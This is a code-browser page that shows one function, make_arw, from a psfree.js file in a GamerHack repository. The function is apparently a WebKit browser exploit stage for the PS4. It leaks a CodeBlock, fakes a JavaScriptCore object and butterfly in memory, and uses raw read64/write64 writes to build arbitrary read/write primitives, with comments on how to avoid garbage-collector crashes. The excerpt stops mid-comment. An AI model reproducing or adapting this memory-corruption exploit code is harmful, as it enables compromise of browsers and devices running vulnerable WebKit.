MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / make_arw

Function make_arw

g2all/900/psfree.js:606–773  ·  view source on GitHub ↗
(reader, view2, pop)

Source from the content-addressed store, hash-verified

604}
605
606async function make_arw(reader, view2, pop) {
607 const rdr = reader;
608
609 // we have to align the fake object to atomSize (16) else the process
610 // crashes. we don't know why
611 //
612 // since cells (GC memory chunks) are always aligned to atomSize, there
613 // might be code that's assuming that all GC pointers are aligned
614 //
615 // see atomSize from WebKit/Source/JavaScriptCore/heap/MarkedBlock.h at
616 // PS4 8.0x
617 const fakeobj_off = 0x20;
618 const fakebt_base = fakeobj_off + off.size_jsobj;
619 // sizeof JSC::IndexingHeader
620 const indexingHeader_size = 8;
621 // sizeof JSC::ArrayStorage
622 const arrayStorage_size = 0x18;
623 // there's only the .raw property
624 const propertyStorage = 8;
625 const fakebt_off = fakebt_base + indexingHeader_size + propertyStorage;
626
627 log('STAGE: leak CodeBlock');
628 // has too be greater than 0x10. the size of JSImmutableButterfly
629 const bt_size = 0x10 + fakebt_off + arrayStorage_size;
630 const [func, bt_addr, strs_addr] = await leak_code_block(rdr, bt_size);
631
632 const view = rdr.rstr_view;
633 const view_p = rdr.m_data.sub(off.strimpl_inline_str);
634 const view_save = new Uint8Array(view);
635
636 view.fill(0);
637 make_ssv_data(view2, view, view_p, bt_addr, bt_size);
638
639 const bt = new BufferView(pop.state);
640 view.set(view_save);
641
642 log('ArrayBuffer pointing to JSImmutableButterfly:');
643 for (let i = 0; i < bt.byteLength; i += 8) {
644 log(`${bt.read64(i)} | ${hex(i)}`);
645 }
646
647 // the immutable butterfly's indexing type is ArrayWithInt32 so
648 // JSImmutableButterfly::visitChildren() won't ask the GC to scan its slots
649 // for JSObjects to recursively visit. this means that we can write
650 // anything to the the butterfly's data area without fear of a GC crash
651
652 // the immutable butterfly's indexing header. zero out the fields to
653 // prevent the GC from scanning our writes
654 bt.write32(8, 0);
655 bt.write32(0xc, 0);
656
657 const val_true = 7; // JSValue of "true"
658 const strs_cell = rdr.read64(strs_addr);
659
660 bt.write64(fakeobj_off, strs_cell);
661 bt.write64(fakeobj_off + off.js_butterfly, bt_addr.add(fakebt_off));
662
663 // since .raw is the first ever created property, it's just besides the

Callers 1

mainFunction · 0.70

Calls 15

read64Method · 0.95
write32Method · 0.95
write64Method · 0.95
logFunction · 0.90
hexFunction · 0.90
dieFunction · 0.90
leak_code_blockFunction · 0.70
make_ssv_dataFunction · 0.70
addrofFunction · 0.70
subMethod · 0.45
setMethod · 0.45
read64Method · 0.45

Tested by

no test coverage detected